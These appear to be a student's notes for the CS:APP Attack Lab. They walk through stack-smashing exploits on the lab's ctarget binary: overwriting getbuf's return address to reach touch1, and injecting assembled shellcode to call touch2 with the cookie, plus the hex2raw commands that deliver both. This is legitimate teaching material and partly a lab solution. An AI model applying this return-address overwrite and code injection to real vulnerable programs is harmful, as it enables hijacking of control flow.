L3 attacklab
Resources
csapp.cs.cmu.edu/3e/README-attacklab
Attack lab bootcamp slides m22
Q & A:
- This is so far the best explanation I can find for stack:
CS 225 | Stack and Heap Memory
An assembly language and C programs tutorial with various binary or executable file structure information including the C program execution process address
- Guide to x86 Assembly
- CS 301 Lecture
- Lab 3: Assembly and Buffer Overflow - HackMD
- Stack frames
- The Call Stack - YouTube
- Assembly Programming Assembly Function Stack Frame Explained - YouTube
深入理解计算机系统之attacklab_哔哩哔哩_bilibili
Takeaways
Level 1
The callee is the function that is called by the caller. In stack frames, the callee's stack frame contains the return address to the caller. assembly - Why do we need a return address? - Stack Overflow
The return address does not point to the previous stack frame, it points into the code segment to the next instruction in the calling method. From the instructions, our task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test. So we need to change the return address of getbuf to point to touch1 instead of test like normally does. The idea is to position a byte representation of the starting address for touch1 so that the ret instruction at the end of the code for getbuf will transfer control to touch1.
Checkout Activity 1
in Attack lab bootcamp slides m22 and Stack frames for a better understanding of the stack frame.
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
Use objdump -d
to see the assembly code
0000000000401968 <test>:
401968: 48 83 ec 08 sub $0x8,%rsp
40196c: b8 00 00 00 00 mov $0x0,%eax
401971: e8 32 fe ff ff callq 4017a8 <getbuf>
401976: 89 c2 mov %eax,%edx
401978: be 88 31 40 00 mov $0x403188,%esi # "No exploit. Getbuf returned 0x%x\n"
40197d: bf 01 00 00 00 mov $0x1,%edi
401982: b8 00 00 00 00 mov $0x0,%eax
401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt>
40198c: 48 83 c4 08 add $0x8,%rsp
401990: c3 retq
401991: 90 nop
401992: 90 nop
...
40199e: 90 nop
40199f: 90 nop
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi # register rdi here stores 1st argument for Gets(buf)
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
we can see that $rsp = $rdi
, which is the first argument for function Gets
(address of the buffer). So we just need to input a random string with length=$0x28
and then a string to overwrite the original return address to 0000000000401968 <test>
with 00000000004017c0 <touch1>
. Remember Endianness!
HEX2RAW expects two-digit hex values separated by one or more white spaces. So if you want to create a byte with a hex value of 0, you need to write it as 00. To create the word 0xdeadbeef you should pass “ef be ad de” to HEX2RAW (note the reversal required for little-endian byte ordering).
cat touch1.txt | ./hex2raw | ./ctarget -q
./hex2raw < touch1.txt | ./ctarget -q
Level 2
(gdb) disas
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
=> 0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.
(gdb) p /x $rsp
$2 = 0x5561dc78
After finishing getbuf
, the return address should be overwritten with 0x5561dc78
so that $rsp
points to buffer
. Then run the injected the assembly code.
l2.s
mov $0x59b997fa,%rdi
pushq $0x4017ec
retq
gcc -c l2.s
| objdump -d l2.o
l2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
The machine code above can satisfy touch2
function (val == cookie == 0x59b997fa).
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}